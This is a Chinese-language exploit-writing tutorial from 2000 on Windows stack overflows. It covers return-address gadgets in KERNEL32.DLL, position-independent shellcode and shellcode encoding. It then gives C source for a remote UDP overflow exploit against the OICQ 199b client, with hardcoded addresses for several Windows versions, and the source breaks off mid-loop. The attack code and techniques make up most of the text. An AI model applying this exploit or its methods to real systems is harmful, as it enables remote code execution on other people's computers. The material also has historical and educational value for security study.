WINDOWS下的溢出程序编写技巧 发布日期: 2000-4-24 内容: -------------------------------------------------------------------------------- ----------------------------- 作者:袁哥 mail: yuange@163.net << http://www.isbase.com >> ----------------------------- 看了些WINDOWS下的溢出程序,觉得不够统一、完美,决定做一个相对较统一的编写方法,试着解决了些问题。 1、JMP ESP 的问题。 为了尽量统一,都使用KERNERL32。DLL的代码,因为至少同一系统KERNEL32。DLL模块装载地址变化可能小, 别的模块可能随着安装应用软件的环境不同装载地址不同,还有其模块安装是KERNEL32。DLL在比较前面,后面的 模块安装地址要随前面模块的变动而变动,所以还是决定用KERNEL32。DLL相对比较统一(就是同一系统不同版本 )。解决了JMP ESP (FF E4)代码找不到问题,增加使用 PUSH ESP (54) 。。。。 RET (C3) 或者 PUSH ESP (54) 。。。。 RET 00XX (C2 XX 00) (RET NUM ,NUM最好不要太大,所以做限制 NUM=00XX) 代码,这可以找到很多了。“。。。”为几条不定语句,但要不影响功能的。 比如找到一处代码就可以使用: PUSH ESP AND AL,08 RET 10 选择原则尽量使用模块前面的可用的,因为不同版本前面的相同可能要大。 因为9X与NT系统模块装载地址有很大区别,所以用这方法不可能统一,我看了WINNT、WIN2000竟然 KERNEL32。DLL的装载地址也不一样,真有点。。。。具体哪个程序的溢出可以试着找那程序中的 JMP ESP, 但这地址一般都是0X00XXXXXX,所以也有问题。 这是否可以在程序中先识别要攻击系统的系统?下面程序是 用宏定义。 2、解决SHELLCODE的编写问题。 原来很多程序的SHELLCODE都是用先编写好后用"\XAA\XBB"的形式写出来,一个是不好修改,还有不好看 到底是什么SHELLCODE。所以想法是SHELLCODE和溢出程序一起编写。这对SHELLCODE编写稍微有点要求,这就 是要求SHELLCODE代码是可移动代码,就是整个代码地址移动照常运行。为了减少不兼容,函数调用地址也用 LOADLIBRARY和GETPROCADDRESS得到,这样SHELLCODE就只依靠这两个参数。其实这两个参数也可以在内存里 面找到KERNEL32。DLL模块,再根据函数引出表自己得到地址。那样就只有JMP ESP地址在WINNT、WIN200、WIN9X 下没有统一了。 程序中已经大致有了SHELLCODE编写的雏形。现在有几个问题: 一,确定SHELLCODE函数代码地址,直接指定得到的是一个JMP SHELLCODE的地址,应该有方法直接得到的。 二,SHELLCODE用C编写编译后往往有_CHKESP的一个调用,这可以改汇编编写或者找到里面的call _CHKESP 的代码用NOP填充。 3、SHELLCODE字符往往有要求,决定对SHELLCODE编码,前面加一小段代码对SHELLCODE解码,编码为符合要求的 SHELLCODE,这减轻对SHELLCODE编写的要求。不同要求主要改写这一小段编码代码。 /* oicq 199b build 0220 overflow program copy by yuange 2000。04。18 新版本0410有堆溢出,用这程序可以攻击,但不能执行SELLCODE */ #include #include #include #define NUKEWIN2000 //#define NUKEWIN9X #ifdef NUKEWIN2000 #define RETEIPADDR eipwin2000 #define LoadLibraryfnaddress 0x77e78023 //0x77E60000+0x00018023 LoadLibrary #define GetProcAddressfnaddress 0x77e7564b //0X77E60000+0x0001564B GetProcAddress #else #ifdef NUKEWIN9X #define RETEIPADDR eipwin9x #define LoadLibraryfnaddress 0xbff77750 //0xbff70000+0x00007750 LoadLibrary #define GetProcAddressfnaddress 0xbff76e28 //0xbff70000+0x00006e28 GetProcAddress #else #define RETEIPADDR eipwinnt #define LoadLibraryfnaddress 0x77EE391A //0x77ED0000+0x0001391A LoadLibrary #define GetProcAddressfnaddress 0x77eE4111 //0x77ED0000+0x00014111 GetProcAddress #endif #endif #define NOPCODE 0x90 #define BUFFSIZE 0x2000 #define OICQPORT 4000 #define OICQOVERADD 7+0x41C #define OVERADD OICQOVERADD #define STR0 0 #define STR1 11 #define STR2 23 #define STR3 33 #define STR4 39 #define STR5 51 void shellcodefnlock(); void shellcodefn(); void cleanchkesp(char *fnadd,char *shellbuff,char *chkespadd ,int len); int main(int argc, char **argv) { char *server; char *str="user32.dll""\x0""MessageBoxA""\x0"" secuess""\x0"" OK!""\x0""msvcrtd.dll""\x0""exit""\x0"; char buff1[]="\x02\x01\x07\x00\x78\x11\x22\x33\x33\x33\x33\x33\x1f\x30\x1f\x37\x35\x1f""2000-4-10""\x1f""12:00:00""\x1f"; /* oicq udp head */ //0x77ed0000+0x1ddd4 kernel32.dll // push esp // and al,08 // ret 0c char eipwinnt[] ="\xd4\xdd\xee\x77"; //0x77ed0000+0x0001ddd4 char eipwin2000[] ="\xea\x17\xe8\x77"; //0x77e60000+0x000217ea // kernel32.dll // push esp // and al,08 // ret 0c //0x77e2e32a user32.dll JMP ESP char eip2win2000[] = "\x2a\xe3\xe2\x77"; //0x77df0000+0x0003e32a char eipwin9x[] = "\xd9\x6a\xf7\xbf"; //0xbff70000+0x00006ad9 // Kernel32.dll 4.10.2184 0xbff70000+0x0006ad9 // push esp // and al,0x10; // ret 0x10; char buff[BUFFSIZE]; char shellcodebuff[0x1000]; struct sockaddr_in s_in2,s_in3; struct hostent *he; char *shellcodefnadd,*chkespadd; unsigned int sendpacketlong; unsigned int i,j,k; unsigned char temp; int fd; u_short port,port1; SOCKET d_ip; WSADATA wsaData; int result= WSAStartup(MAKEWORD(1, 1), &wsaData); if (result != 0) { fprintf(stderr, "Your computer was not connected " "to the Internet at the time that " "this program was launched, or you " "do not have a 32-bit " "connection to the Internet."); exit(1); } if(argc <2) { WSACleanup( ); fprintf(stderr,"\n nuke oicq .\n copy by yuange 2000.4.1. \n wellcome to my homepage http://yuange.yeah.net ."); fprintf(stderr, "\n usage: %s [port] \n", argv[0]); exit(1); } else server = argv[1]; d_ip = inet_addr(server); if(d_ip==-1){ he = gethostbyname(server); if(!he) { WSACleanup( ); printf("\n Can't get the ip of %s !\n",server); exit(1); } else memcpy(&d_ip, he->h_addr, 4); } if(argc>2) port = atoi(argv[2]); else port=OICQPORT; if(port==0) port=OICQPORT; fd = socket(AF_INET, SOCK_DGRAM,0); i=8000; setsockopt(fd,SOL_SOCKET,SO_RCVTIMEO,(const char *) &i,sizeof(i)); s_in2.sin_family = AF_INET; if(argc>3) port1=atoi(argv[3]); else port1=OICQPORT; if(port1==0) port1=OICQPORT; s_in2.sin_port = htons(port1); s_in2.sin_addr.s_addr =0; s_in3.sin_family = AF_INET; s_in3.sin_port = htons(port); s_in3.sin_addr.s_addr = d_ip; bind(fd,(const struct sockaddr FAR* )&s_in2, sizeof(struct sockaddr_in)); printf("\n nuke ip: %s port %d",inet_ntoa(s_in3.sin_addr),htons(s_in3.sin_port)); memset(buff,NOPCODE,BUFFSIZE); memcpy(buff,buff1,37); _asm{ mov ESI,ESP cmp ESI,ESP } _chkesp(); chkespadd=_chkesp; temp=*chkespadd; if(temp==0xe9) { ++chkespadd; // (int *) i=(int*) *chkespadd; _asm{ mov EDI,dword ptr [chkespadd] mov EDI,[EDI] mov i,EDI } chkespadd+=i; chkespadd+=4; } shellcodefnadd=shellcodefnlock; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; // (int *) k=(int *) *shellcodefnadd; _asm{ mov EDI,dword ptr [shellcodefnadd] mov EDI,[EDI] mov k,EDI } shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x500;++k){ if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break; } memcpy(buff+OVERADD+0x20,shellcodefnadd+k+4,80); shellcodefnadd=shellcodefn; temp=*shellcodefnadd; if(temp==0xe9) { ++shellcodefnadd; // (int *)k=*shellcodefnadd; _asm{ mov EDI,dword ptr [shellcodefnadd] mov EDI,[EDI] mov k,EDI } shellcodefnadd+=k; shellcodefnadd+=4; } for(k=0;k<=0x1000;++k){ if(memcmp(shellcodefnadd+k,"\x90\x90\x90\x90",4)==0) break; } memcpy(shellcodebuff,shellcodefnadd,k); //j); cleanchkesp(shellcodefnadd,shellcodebuff,chkespadd,k); memcpy(shellcodebuff+k,str,0x80); sendpacketlong=k+0x80; for(k=0;k<=0x200;++k){ if(memcmp(buff+OVERADD+0x20+k,"\x90\x90\x90\x90",4)==0) break; } for(i=0;i